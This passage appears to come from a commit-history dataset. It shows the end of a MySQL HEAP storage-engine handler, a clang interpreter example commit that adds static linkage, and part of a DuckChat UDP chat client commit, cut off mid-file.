&&\n\t !(flag & FIELDFLAG_BINARY))\n\tseg->type= (int) HA_KEYTYPE_TEXT;\n else\n\tseg->type= (int) HA_KEYTYPE_BINARY;\n seg->start=(uint) key_part->offset;\n seg->length=(uint) key_part->length;\n if (field->null_ptr)\n {\n\tseg->null_bit=field->null_bit;\n\tseg->null_pos= (uint) (field->null_ptr-\n\t\t\t (uchar*) table->record[0]);\n }\n else\n {\n\tseg->null_bit=0;\n\tseg->null_pos=0;\n }\n }\n }\n mem_per_row += MY_ALIGN(table->reclength+1, sizeof(char*));\n max_rows = (ulong) (thd->variables.max_heap_table_size \/ mem_per_row);\n file=heap_open(name,mode,\n\t\t table->keys,keydef,\n\t\t table->reclength,\n\t\t (ulong) ((table->max_rows < max_rows && table->max_rows) ? \n\t\t\t table->max_rows : max_rows),\n\t\t (ulong) table->min_rows);\n my_free((gptr) keydef,MYF(0));\n if (file)\n info(HA_STATUS_NO_LOCK | HA_STATUS_CONST | HA_STATUS_VARIABLE);\n ref_length=sizeof(HEAP_PTR);\n return (!file ? errno : 0);\n}\n\nint ha_heap::close(void)\n{\n return heap_close(file);\n}\n\nint ha_heap::write_row(byte * buf)\n{\n statistic_increment(ha_write_count,&LOCK_status);\n if (table->time_stamp)\n update_timestamp(buf+table->time_stamp-1);\n return heap_write(file,buf);\n}\n\nint ha_heap::update_row(const byte * old_data, byte * new_data)\n{\n statistic_increment(ha_update_count,&LOCK_status);\n if (table->time_stamp)\n update_timestamp(new_data+table->time_stamp-1);\n return heap_update(file,old_data,new_data);\n}\n\nint ha_heap::delete_row(const byte * buf)\n{\n statistic_increment(ha_delete_count,&LOCK_status);\n return heap_delete(file,buf);\n}\n\nint ha_heap::index_read(byte * buf, const byte * key,\n\t\t\tuint key_len __attribute__((unused)),\n\t\t\tenum ha_rkey_function find_flag\n\t\t\t__attribute__((unused)))\n{\n statistic_increment(ha_read_key_count,&LOCK_status);\n int error=heap_rkey(file,buf,active_index, key);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_read_idx(byte * buf, uint index, const byte * key,\n\t\t\t uint key_len __attribute__((unused)),\n\t\t\t enum ha_rkey_function find_flag\n\t\t\t __attribute__((unused)))\n{\n statistic_increment(ha_read_key_count,&LOCK_status);\n int error=heap_rkey(file, buf, index, key);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\n\nint ha_heap::index_next(byte * buf)\n{\n statistic_increment(ha_read_next_count,&LOCK_status);\n int error=heap_rnext(file,buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_prev(byte * buf)\n{\n statistic_increment(ha_read_prev_count,&LOCK_status);\n int error=heap_rprev(file,buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_first(byte * buf)\n{\n statistic_increment(ha_read_first_count,&LOCK_status);\n int error=heap_rfirst(file, buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::index_last(byte * buf)\n{\n statistic_increment(ha_read_last_count,&LOCK_status);\n int error=heap_rlast(file, buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::rnd_init(bool scan)\n{\n return scan ? heap_scan_init(file) : 0;\n}\n\nint ha_heap::rnd_next(byte *buf)\n{\n statistic_increment(ha_read_rnd_next_count,&LOCK_status);\n int error=heap_scan(file, buf);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nint ha_heap::rnd_pos(byte * buf, byte *pos)\n{\n int error;\n HEAP_PTR position;\n statistic_increment(ha_read_rnd_count,&LOCK_status);\n memcpy_fixed((char*) &position,pos,sizeof(HEAP_PTR));\n error=heap_rrnd(file, buf, position);\n table->status=error ? STATUS_NOT_FOUND: 0;\n return error;\n}\n\nvoid ha_heap::position(const byte *record)\n{\n *(HEAP_PTR*) ref= heap_position(file);\t\/\/ Ref is aligned\n}\n\nvoid ha_heap::info(uint flag)\n{\n HEAPINFO info;\n (void) heap_info(file,&info,flag);\n\n records = info.records;\n deleted = info.deleted;\n errkey = info.errkey;\n mean_rec_length=info.reclength;\n data_file_length=info.data_length;\n index_file_length=info.index_length;\n max_data_file_length= info.max_records* info.reclength;\n delete_length= info.deleted * info.reclength;\n implicit_emptied= info.implicit_emptied;\n}\n\nint ha_heap::extra(enum ha_extra_function operation)\n{\n return heap_extra(file,operation);\n}\n\nint ha_heap::reset(void)\n{\n return heap_extra(file,HA_EXTRA_RESET);\n}\n\nint ha_heap::delete_all_rows()\n{\n heap_clear(file);\n return 0;\n}\n\nint ha_heap::external_lock(THD *thd, int lock_type)\n{\n return 0;\t\t\t\t\t\/\/ No external locking\n}\n\nTHR_LOCK_DATA **ha_heap::store_lock(THD *thd,\n\t\t\t\t THR_LOCK_DATA **to,\n\t\t\t\t enum thr_lock_type lock_type)\n{\n if (lock_type != TL_IGNORE && file->lock.type == TL_UNLOCK)\n file->lock.type=lock_type;\n *to++= &file->lock;\n return to;\n}\n\n\n\/*\n We have to ignore ENOENT entries as the HEAP table is created on open and\n not when doing a CREATE on the table.\n*\/\n\nint ha_heap::delete_table(const char *name)\n{\n char buff[FN_REFLEN];\n int error= heap_delete_table(fn_format(buff,name,\"\",\"\",4+2));\n return error == ENOENT ? 0 : error;\n}\n\nint ha_heap::rename_table(const char * from, const char * to)\n{\n return heap_rename(from,to);\n}\n\n\nha_rows ha_heap::records_in_range(int inx,\n\t\t\t\t const byte *start_key,uint start_key_len,\n\t\t\t\t enum ha_rkey_function start_search_flag,\n\t\t\t\t const byte *end_key,uint end_key_len,\n\t\t\t\t enum ha_rkey_function end_search_flag)\n{\n KEY *pos=table->key_info+inx;\n if (start_key_len != end_key_len ||\n start_key_len != pos->key_length ||\n start_search_flag != HA_READ_KEY_EXACT ||\n end_search_flag != HA_READ_AFTER_KEY)\n return HA_POS_ERROR;\t\t\t\/\/ Can't only use exact keys\n return 10;\t\t\t\t\t\/\/ Good guess\n}\n\n\nint ha_heap::create(const char *name, TABLE *form, HA_CREATE_INFO *create_info)\n\n{\n char buff[FN_REFLEN];\n return heap_create(fn_format(buff,name,\"\",\"\",4+2));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- examples\/clang-interpreter\/main.cpp - Clang C Interpreter Example -===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/CodeGen\/CodeGenAction.h\"\n#include \"clang\/Driver\/Compilation.h\"\n#include \"clang\/Driver\/Driver.h\"\n#include \"clang\/Driver\/Tool.h\"\n#include \"clang\/Frontend\/CompilerInvocation.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Frontend\/DiagnosticOptions.h\"\n#include \"clang\/Frontend\/FrontendDiagnostic.h\"\n#include \"clang\/Frontend\/TextDiagnosticPrinter.h\"\n\n#include \"llvm\/LLVMContext.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/ADT\/OwningPtr.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/System\/Host.h\"\n#include \"llvm\/System\/Path.h\"\n#include \"llvm\/Target\/TargetSelect.h\"\nusing namespace clang;\nusing namespace clang::driver;\n\nllvm::sys::Path GetExecutablePath(const char *Argv0) {\n \/\/ This just needs to be some symbol in the binary; C++ doesn't\n \/\/ allow taking the address of ::main however.\n void *MainAddr = (void*) (intptr_t) GetExecutablePath;\n return llvm::sys::Path::GetMainExecutable(Argv0, MainAddr);\n}\n\nint Execute(llvm::Module *Mod, char * const *envp) {\n llvm::InitializeNativeTarget();\n\n std::string Error;\n llvm::OwningPtr<llvm::ExecutionEngine> EE(\n llvm::ExecutionEngine::createJIT(Mod, &Error));\n if (!EE) {\n llvm::errs() << \"unable to make execution engine: \" << Error << \"\\n\";\n return 255;\n }\n\n llvm::Function *EntryFn = Mod->getFunction(\"main\");\n if (!EntryFn) {\n llvm::errs() << \"'main' function not found in module.\\n\";\n return 255;\n }\n\n \/\/ FIXME: Support passing arguments.\n std::vector<std::string> Args;\n Args.push_back(Mod->getModuleIdentifier());\n\n return EE->runFunctionAsMain(EntryFn, Args, envp);\n}\n\nint main(int argc, const char **argv, char * const *envp) {\n void *MainAddr = (void*) (intptr_t) GetExecutablePath;\n llvm::sys::Path Path = GetExecutablePath(argv[0]);\n TextDiagnosticPrinter *DiagClient =\n new TextDiagnosticPrinter(llvm::errs(), DiagnosticOptions());\n\n Diagnostic Diags(DiagClient);\n Driver TheDriver(Path.str(), llvm::sys::getHostTriple(),\n \"a.out\", \/*IsProduction=*\/false, \/*CXXIsProduction=*\/false,\n Diags);\n TheDriver.setTitle(\"clang interpreter\");\n\n \/\/ FIXME: This is a hack to try to force the driver to do something we can\n \/\/ recognize. We need to extend the driver library to support this use model\n \/\/ (basically, exactly one input, and the operation mode is hard wired).\n llvm::SmallVector<const char *, 16> Args(argv, argv + argc);\n Args.push_back(\"-fsyntax-only\");\n llvm::OwningPtr<Compilation> C(TheDriver.BuildCompilation(Args.size(),\n Args.data()));\n if (!C)\n return 0;\n\n \/\/ FIXME: This is copied from ASTUnit.cpp; simplify and eliminate.\n\n \/\/ We expect to get back exactly one command job, if we didn't something\n \/\/ failed. Extract that job from the compilation.\n const driver::JobList &Jobs = C->getJobs();\n if (Jobs.size() != 1 || !isa<driver::Command>(Jobs.begin())) {\n llvm::SmallString<256> Msg;\n llvm::raw_svector_ostream OS(Msg);\n C->PrintJob(OS, C->getJobs(), \"; \", true);\n Diags.Report(diag::err_fe_expected_compiler_job) << OS.str();\n return 1;\n }\n\n const driver::Command *Cmd = cast<driver::Command>(*Jobs.begin());\n if (llvm::StringRef(Cmd->getCreator().getName()) != \"clang\") {\n Diags.Report(diag::err_fe_expected_clang_command);\n return 1;\n }\n\n \/\/ Initialize a compiler invocation object from the clang (-cc1) arguments.\n const driver::ArgStringList &CCArgs = Cmd->getArguments();\n llvm::OwningPtr<CompilerInvocation> CI(new CompilerInvocation);\n CompilerInvocation::CreateFromArgs(*CI,\n const_cast<const char **>(CCArgs.data()),\n const_cast<const char **>(CCArgs.data()) +\n CCArgs.size(),\n Diags);\n\n \/\/ Show the invocation, with -v.\n if (CI->getHeaderSearchOpts().Verbose) {\n llvm::errs() << \"clang invocation:\\n\";\n C->PrintJob(llvm::errs(), C->getJobs(), \"\\n\", true);\n llvm::errs() << \"\\n\";\n }\n\n \/\/ FIXME: This is copied from cc1_main.cpp; simplify and eliminate.\n\n \/\/ Create a compiler instance to handle the actual work.\n CompilerInstance Clang;\n Clang.setLLVMContext(new llvm::LLVMContext);\n Clang.setInvocation(CI.take());\n\n \/\/ Create the compilers actual diagnostics engine.\n Clang.createDiagnostics(int(CCArgs.size()),const_cast<char**>(CCArgs.data()));\n if (!Clang.hasDiagnostics())\n return 1;\n\n \/\/ Infer the builtin include path if unspecified.\n if (Clang.getHeaderSearchOpts().UseBuiltinIncludes &&\n Clang.getHeaderSearchOpts().ResourceDir.empty())\n Clang.getHeaderSearchOpts().ResourceDir =\n CompilerInvocation::GetResourcesPath(argv[0], MainAddr);\n\n \/\/ Create and execute the frontend to generate an LLVM bitcode module.\n llvm::OwningPtr<CodeGenAction> Act(new EmitLLVMOnlyAction());\n if (!Clang.ExecuteAction(*Act))\n return 1;\n\n int Res = 255;\n if (llvm::Module *Module = Act->takeModule())\n Res = Execute(Module, envp);\n\n \/\/ Shutdown.\n\n llvm::llvm_shutdown();\n\n return Res;\n}\n<commit_msg>These functions don't need external linkage.<commit_after>\/\/===-- examples\/clang-interpreter\/main.cpp - Clang C Interpreter Example -===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/CodeGen\/CodeGenAction.h\"\n#include \"clang\/Driver\/Compilation.h\"\n#include \"clang\/Driver\/Driver.h\"\n#include \"clang\/Driver\/Tool.h\"\n#include \"clang\/Frontend\/CompilerInvocation.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Frontend\/DiagnosticOptions.h\"\n#include \"clang\/Frontend\/FrontendDiagnostic.h\"\n#include \"clang\/Frontend\/TextDiagnosticPrinter.h\"\n\n#include \"llvm\/LLVMContext.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/ADT\/OwningPtr.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/System\/Host.h\"\n#include \"llvm\/System\/Path.h\"\n#include \"llvm\/Target\/TargetSelect.h\"\nusing namespace clang;\nusing namespace clang::driver;\n\nstatic llvm::sys::Path GetExecutablePath(const char *Argv0) {\n \/\/ This just needs to be some symbol in the binary; C++ doesn't\n \/\/ allow taking the address of ::main however.\n void *MainAddr = (void*) (intptr_t) GetExecutablePath;\n return llvm::sys::Path::GetMainExecutable(Argv0, MainAddr);\n}\n\nstatic int Execute(llvm::Module *Mod, char * const *envp) {\n llvm::InitializeNativeTarget();\n\n std::string Error;\n llvm::OwningPtr<llvm::ExecutionEngine> EE(\n llvm::ExecutionEngine::createJIT(Mod, &Error));\n if (!EE) {\n llvm::errs() << \"unable to make execution engine: \" << Error << \"\\n\";\n return 255;\n }\n\n llvm::Function *EntryFn = Mod->getFunction(\"main\");\n if (!EntryFn) {\n llvm::errs() << \"'main' function not found in module.\\n\";\n return 255;\n }\n\n \/\/ FIXME: Support passing arguments.\n std::vector<std::string> Args;\n Args.push_back(Mod->getModuleIdentifier());\n\n return EE->runFunctionAsMain(EntryFn, Args, envp);\n}\n\nint main(int argc, const char **argv, char * const *envp) {\n void *MainAddr = (void*) (intptr_t) GetExecutablePath;\n llvm::sys::Path Path = GetExecutablePath(argv[0]);\n TextDiagnosticPrinter *DiagClient =\n new TextDiagnosticPrinter(llvm::errs(), DiagnosticOptions());\n\n Diagnostic Diags(DiagClient);\n Driver TheDriver(Path.str(), llvm::sys::getHostTriple(),\n \"a.out\", \/*IsProduction=*\/false, \/*CXXIsProduction=*\/false,\n Diags);\n TheDriver.setTitle(\"clang interpreter\");\n\n \/\/ FIXME: This is a hack to try to force the driver to do something we can\n \/\/ recognize. We need to extend the driver library to support this use model\n \/\/ (basically, exactly one input, and the operation mode is hard wired).\n llvm::SmallVector<const char *, 16> Args(argv, argv + argc);\n Args.push_back(\"-fsyntax-only\");\n llvm::OwningPtr<Compilation> C(TheDriver.BuildCompilation(Args.size(),\n Args.data()));\n if (!C)\n return 0;\n\n \/\/ FIXME: This is copied from ASTUnit.cpp; simplify and eliminate.\n\n \/\/ We expect to get back exactly one command job, if we didn't something\n \/\/ failed. Extract that job from the compilation.\n const driver::JobList &Jobs = C->getJobs();\n if (Jobs.size() != 1 || !isa<driver::Command>(Jobs.begin())) {\n llvm::SmallString<256> Msg;\n llvm::raw_svector_ostream OS(Msg);\n C->PrintJob(OS, C->getJobs(), \"; \", true);\n Diags.Report(diag::err_fe_expected_compiler_job) << OS.str();\n return 1;\n }\n\n const driver::Command *Cmd = cast<driver::Command>(*Jobs.begin());\n if (llvm::StringRef(Cmd->getCreator().getName()) != \"clang\") {\n Diags.Report(diag::err_fe_expected_clang_command);\n return 1;\n }\n\n \/\/ Initialize a compiler invocation object from the clang (-cc1) arguments.\n const driver::ArgStringList &CCArgs = Cmd->getArguments();\n llvm::OwningPtr<CompilerInvocation> CI(new CompilerInvocation);\n CompilerInvocation::CreateFromArgs(*CI,\n const_cast<const char **>(CCArgs.data()),\n const_cast<const char **>(CCArgs.data()) +\n CCArgs.size(),\n Diags);\n\n \/\/ Show the invocation, with -v.\n if (CI->getHeaderSearchOpts().Verbose) {\n llvm::errs() << \"clang invocation:\\n\";\n C->PrintJob(llvm::errs(), C->getJobs(), \"\\n\", true);\n llvm::errs() << \"\\n\";\n }\n\n \/\/ FIXME: This is copied from cc1_main.cpp; simplify and eliminate.\n\n \/\/ Create a compiler instance to handle the actual work.\n CompilerInstance Clang;\n Clang.setLLVMContext(new llvm::LLVMContext);\n Clang.setInvocation(CI.take());\n\n \/\/ Create the compilers actual diagnostics engine.\n Clang.createDiagnostics(int(CCArgs.size()),const_cast<char**>(CCArgs.data()));\n if (!Clang.hasDiagnostics())\n return 1;\n\n \/\/ Infer the builtin include path if unspecified.\n if (Clang.getHeaderSearchOpts().UseBuiltinIncludes &&\n Clang.getHeaderSearchOpts().ResourceDir.empty())\n Clang.getHeaderSearchOpts().ResourceDir =\n CompilerInvocation::GetResourcesPath(argv[0], MainAddr);\n\n \/\/ Create and execute the frontend to generate an LLVM bitcode module.\n llvm::OwningPtr<CodeGenAction> Act(new EmitLLVMOnlyAction());\n if (!Clang.ExecuteAction(*Act))\n return 1;\n\n int Res = 255;\n if (llvm::Module *Module = Act->takeModule())\n Res = Execute(Module, envp);\n\n \/\/ Shutdown.\n\n llvm::llvm_shutdown();\n\n return Res;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>coverity#1242717 Untrusted loop bound<commit_after><|endoftext|>"} {"text":"<commit_before>#include <netdb.h>\n#include <unistd.h>\n#include <sys\/fcntl.h>\n\n#include \"client.h\"\n#include \"duckchat.h\"\n#include \"raw.h\"\n\n\/\/ Variables\nstruct sockaddr_in client_addr;\nstruct sockaddr_in server_addr;\nint client_socket;\nstruct addrinfo *server_info;\nchar *channel;\n\n\n\/\/ Prints an error message and exits the program.\nvoid Error(const char *msg) {\n std::cerr << msg << std::endl;\n exit(1);\n}\n\n\n\/\/ Connects to the server at a the given port.\nvoid Connect(char *domain, const char *port) {\n std::cout << \"Connecting to \" << domain << std::endl;\n\n struct addrinfo hints;\n struct addrinfo *server_info_tmp;\n int status;\n\n memset(&hints, 0, sizeof(hints));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_DGRAM;\n hints.ai_protocol = 0;\n\n if ((status = getaddrinfo(domain, port, &hints, &server_info_tmp)) != 0) {\n std::cerr << \"client: unable to resolve address: \" << gai_strerror(status) << std::endl;\n exit(1);\n }\n\n \/\/ getaddrinfo() returns a list of address structures into server_info_tmp.\n \/\/ Try each address until we successfully connect().\n \/\/ If socket() (or connect()) fails, close the socket and try the next address.\n\n for (server_info = server_info_tmp; server_info != NULL; server_info = server_info->ai_next) {\n if ((client_socket = socket(server_info->ai_family, server_info->ai_socktype, server_info->ai_protocol)) < 0) {\n continue;\n }\n if (connect(client_socket, server_info->ai_addr, server_info->ai_addrlen) != -1) {\n fcntl(client_socket, F_SETFL, O_NONBLOCK);\n break; \/\/ Success\n }\n close(client_socket);\n }\n\n\n\n if (server_info == NULL) {\n Error(\"client: all sockets failed to connect\");\n }\n}\n\n\n\/\/ Sends a message to all users in on the active channel.\nint RequestSay(const char *message) {\n struct request_say say;\n memset(&say, 0, sizeof(say));\n say.req_type = REQ_SAY;\n strncpy(say.req_text, message, SAY_MAX);\n strncpy(say.req_channel, channel, CHANNEL_MAX);\n\n if (sendto(client_socket, &say, sizeof(say), 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to send message\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Sends login requests to the server.\nint RequestLogin(char *username) {\n struct request_login login;\n memset(&login, 0, sizeof(login));\n login.req_type = REQ_LOGIN;\n strncpy(login.req_username, username, USERNAME_MAX);\n\n size_t message_size = sizeof(struct request_login);\n\n if (sendto(client_socket, &login, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to request login\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Sends logout requests to the server.\nint RequestLogout() {\n struct request_logout logout;\n memset((char *) &logout, 0, sizeof(logout));\n logout.req_type = REQ_LOGOUT;\n\n size_t message_size = sizeof(struct request_logout);\n\n if (sendto(client_socket, &logout, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to request logout\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Sends join requests to the server.\nint RequestJoin(char *channel) {\n struct request_join join;\n memset((char *) &join, 0, sizeof(join));\n join.req_type = REQ_JOIN;\n strncpy(join.req_channel, channel, CHANNEL_MAX);\n\n size_t message_size = sizeof(struct request_join);\n\n if (sendto(client_socket, &join, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to request join\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Splits strings around spaces.\nstd::vector<std::string> StringSplit(std::string input) {\n std::istringstream iss(input);\n std::vector<std::string> result{std::istream_iterator<std::string>{iss}, std::istream_iterator<std::string>{}};\n\n return result;\n}\n\n\n\/\/ Splits strings around spaces.\nstd::vector<std::string> SplitString(char *input, char delimiter) {\n std::vector<std::string> result;\n std::string word = \"\";\n\n size_t input_size = strlen(input);\n for (size_t i = 0; i < input_size; i++) {\n if (input[i] != delimiter) {\n word += input[i];\n } else {\n result.push_back(word);\n word = \"\";\n }\n }\n result.push_back(word);\n\n return result;\n}\n\n\nvoid StripChar(char *input, char c) {\n size_t size = strlen(input);\n for (size_t i = 0; i < size; i++) {\n if (input[i] == c) {\n input[i] = '\\0';\n }\n }\n}\n\n\n\/\/ Processes the input string to decide what type of command it is.\nbool ProcessInput(std::string input) {\n std::vector<std::string> inputs = StringSplit(input);\n bool result = true;\n\n if (inputs[0] == \"\/exit\") {\n RequestLogout();\n cooked_mode();\n result = false;\n } else if (inputs[0] == \"\/list\") {\n\n } else if (inputs[0] == \"\/join\") {\n\n } else if (inputs[0] == \"\/leave\") {\n\n } else if (inputs[0] == \"\/who\") {\n\n } else if (inputs[0] == \"\/switch\") {\n\n } else {\n std::cout << \"\\n*Unknown command\" << std::endl;\n }\n\n return result;\n}\n\n\nint main(int argc, char *argv[]) {\n char *domain;\n char *port_str;\n int port_num;\n char *username;\n char *input;\n char tmp_buffer[SAY_MAX];\n memset(&tmp_buffer, 0, SAY_MAX);\n\n char stdin_buffer[SAY_MAX + 1];\n char *stdin_buffer_position = stdin_buffer;\n\n\/\/ struct timeval timeout;\n fd_set read_set;\n\/\/ int file_desc = 0;\n int result;\n char receive_buffer[kBufferSize];\n memset(&receive_buffer, 0, kBufferSize);\n\n\/\/ char stdin_buffer[kBufferSize];\n\/\/ memset(&stdin_buffer, 0, kBufferSize);\n\n if (argc < 4) {\n Error(\"usage: client [server name] [port] [username]\");\n }\n\n domain = argv[1];\n port_str = argv[2];\n port_num = atoi(argv[2]);\n username = argv[3];\n\n if (strlen(domain) > UNIX_PATH_MAX) {\n Error(\"client: server name must be less than 108 characters\");\n }\n\n if (port_num < 0 || port_num > 65535) {\n Error(\"client: port number must be between 0 and 65535\");\n }\n\n if (strlen(username) > USERNAME_MAX) {\n Error(\"client: username must be less than 32 characters\");\n }\n\n Connect(domain, port_str);\n\n RequestLogin(username);\n\n channel = (char *) \"Common\";\n RequestJoin(channel);\n\n \/\/ TODO handle response from send\n\n if (raw_mode() != 0){\n Error(\"client: error using raw mode\");\n }\n\n std::cout << \">\" << std::flush;\n\n bool is_newline = false;\n\n while (1) {\n FD_ZERO(&read_set);\n FD_SET(client_socket, &read_set);\n FD_SET(STDIN_FILENO, &read_set);\n\n if ((result = select(client_socket + 1, &read_set, NULL, NULL, NULL)) < 0) {\n Error(\"client: problem using select\");\n }\n\n if (result > 0) {\n if (FD_ISSET(STDIN_FILENO, &read_set)) {\n char c = (char) getchar();\n if (c == '\\n') {\n *stdin_buffer_position++ = '\\0';\n stdin_buffer_position = stdin_buffer;\n printf(\"\\n\");\n fflush(stdout);\n input = stdin_buffer;\n is_newline = true;\n\n if (input[0] == '\/') {\n if (!ProcessInput(input)) {\n break;\n }\n } else {\n \/\/ Send chat messages\n RequestSay(input);\n }\n } else if (stdin_buffer_position != stdin_buffer + SAY_MAX) {\n is_newline = false;\n *stdin_buffer_position++ = c;\n printf(\"%c\", c);\n\/\/ std::cout << c << std::endl;\n fflush(stdout);\n }\n } else if (FD_ISSET(client_socket, &read_set)) {\n \/\/ Socket has data\n int read_size = read(client_socket, receive_buffer, kBufferSize);\n\n if (read_size != 0) {\n \/\/ TODO capture user input, store, clean input, then print buffer, afterward replace input\n struct text message;\n memcpy(&message, receive_buffer, sizeof(struct text));\n text_t text_type = message.txt_type;\n\n switch (text_type) {\n case TXT_SAY:\n struct text_say say;\n memcpy(&say, receive_buffer, sizeof(struct text_say));\n std::cout << \"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\";\n std::cout << \"[\" << say.txt_channel << \"]\" << \"[\" << say.txt_username << \"]: \" << say.txt_text << std::endl;\n if (is_newline) {\n std::cout << \">\" << stdin_buffer << std::flush;\n } else {\n std::cout << \">\" << std::flush;\n }\n break;\n default:\n break;\n }\n }\n\n memset(&receive_buffer, 0, SAY_MAX);\n } \/\/ end of if client_socket\n\n } \/\/ end of if result\n\n } \/\/ end of while\n\n return 0;\n}<commit_msg>print input then set it to \"\"<commit_after>#include <netdb.h>\n#include <unistd.h>\n#include <sys\/fcntl.h>\n\n#include \"client.h\"\n#include \"duckchat.h\"\n#include \"raw.h\"\n\n\/\/ Variables\nstruct sockaddr_in client_addr;\nstruct sockaddr_in server_addr;\nint client_socket;\nstruct addrinfo *server_info;\nchar *channel;\n\n\n\/\/ Prints an error message and exits the program.\nvoid Error(const char *msg) {\n std::cerr << msg << std::endl;\n exit(1);\n}\n\n\n\/\/ Connects to the server at a the given port.\nvoid Connect(char *domain, const char *port) {\n std::cout << \"Connecting to \" << domain << std::endl;\n\n struct addrinfo hints;\n struct addrinfo *server_info_tmp;\n int status;\n\n memset(&hints, 0, sizeof(hints));\n hints.ai_family = AF_UNSPEC;\n hints.ai_socktype = SOCK_DGRAM;\n hints.ai_protocol = 0;\n\n if ((status = getaddrinfo(domain, port, &hints, &server_info_tmp)) != 0) {\n std::cerr << \"client: unable to resolve address: \" << gai_strerror(status) << std::endl;\n exit(1);\n }\n\n \/\/ getaddrinfo() returns a list of address structures into server_info_tmp.\n \/\/ Try each address until we successfully connect().\n \/\/ If socket() (or connect()) fails, close the socket and try the next address.\n\n for (server_info = server_info_tmp; server_info != NULL; server_info = server_info->ai_next) {\n if ((client_socket = socket(server_info->ai_family, server_info->ai_socktype, server_info->ai_protocol)) < 0) {\n continue;\n }\n if (connect(client_socket, server_info->ai_addr, server_info->ai_addrlen) != -1) {\n fcntl(client_socket, F_SETFL, O_NONBLOCK);\n break; \/\/ Success\n }\n close(client_socket);\n }\n\n\n\n if (server_info == NULL) {\n Error(\"client: all sockets failed to connect\");\n }\n}\n\n\n\/\/ Sends a message to all users in on the active channel.\nint RequestSay(const char *message) {\n struct request_say say;\n memset(&say, 0, sizeof(say));\n say.req_type = REQ_SAY;\n strncpy(say.req_text, message, SAY_MAX);\n strncpy(say.req_channel, channel, CHANNEL_MAX);\n\n if (sendto(client_socket, &say, sizeof(say), 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to send message\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Sends login requests to the server.\nint RequestLogin(char *username) {\n struct request_login login;\n memset(&login, 0, sizeof(login));\n login.req_type = REQ_LOGIN;\n strncpy(login.req_username, username, USERNAME_MAX);\n\n size_t message_size = sizeof(struct request_login);\n\n if (sendto(client_socket, &login, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to request login\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Sends logout requests to the server.\nint RequestLogout() {\n struct request_logout logout;\n memset((char *) &logout, 0, sizeof(logout));\n logout.req_type = REQ_LOGOUT;\n\n size_t message_size = sizeof(struct request_logout);\n\n if (sendto(client_socket, &logout, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to request logout\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Sends join requests to the server.\nint RequestJoin(char *channel) {\n struct request_join join;\n memset((char *) &join, 0, sizeof(join));\n join.req_type = REQ_JOIN;\n strncpy(join.req_channel, channel, CHANNEL_MAX);\n\n size_t message_size = sizeof(struct request_join);\n\n if (sendto(client_socket, &join, message_size, 0, server_info->ai_addr, server_info->ai_addrlen) < 0) {\n Error(\"client: failed to request join\\n\");\n }\n\n return 0;\n}\n\n\n\/\/ Splits strings around spaces.\nstd::vector<std::string> StringSplit(std::string input) {\n std::istringstream iss(input);\n std::vector<std::string> result{std::istream_iterator<std::string>{iss}, std::istream_iterator<std::string>{}};\n\n return result;\n}\n\n\n\/\/ Splits strings around spaces.\nstd::vector<std::string> SplitString(char *input, char delimiter) {\n std::vector<std::string> result;\n std::string word = \"\";\n\n size_t input_size = strlen(input);\n for (size_t i = 0; i < input_size; i++) {\n if (input[i] != delimiter) {\n word += input[i];\n } else {\n result.push_back(word);\n word = \"\";\n }\n }\n result.push_back(word);\n\n return result;\n}\n\n\nvoid StripChar(char *input, char c) {\n size_t size = strlen(input);\n for (size_t i = 0; i < size; i++) {\n if (input[i] == c) {\n input[i] = '\\0';\n }\n }\n}\n\n\n\/\/ Processes the input string to decide what type of command it 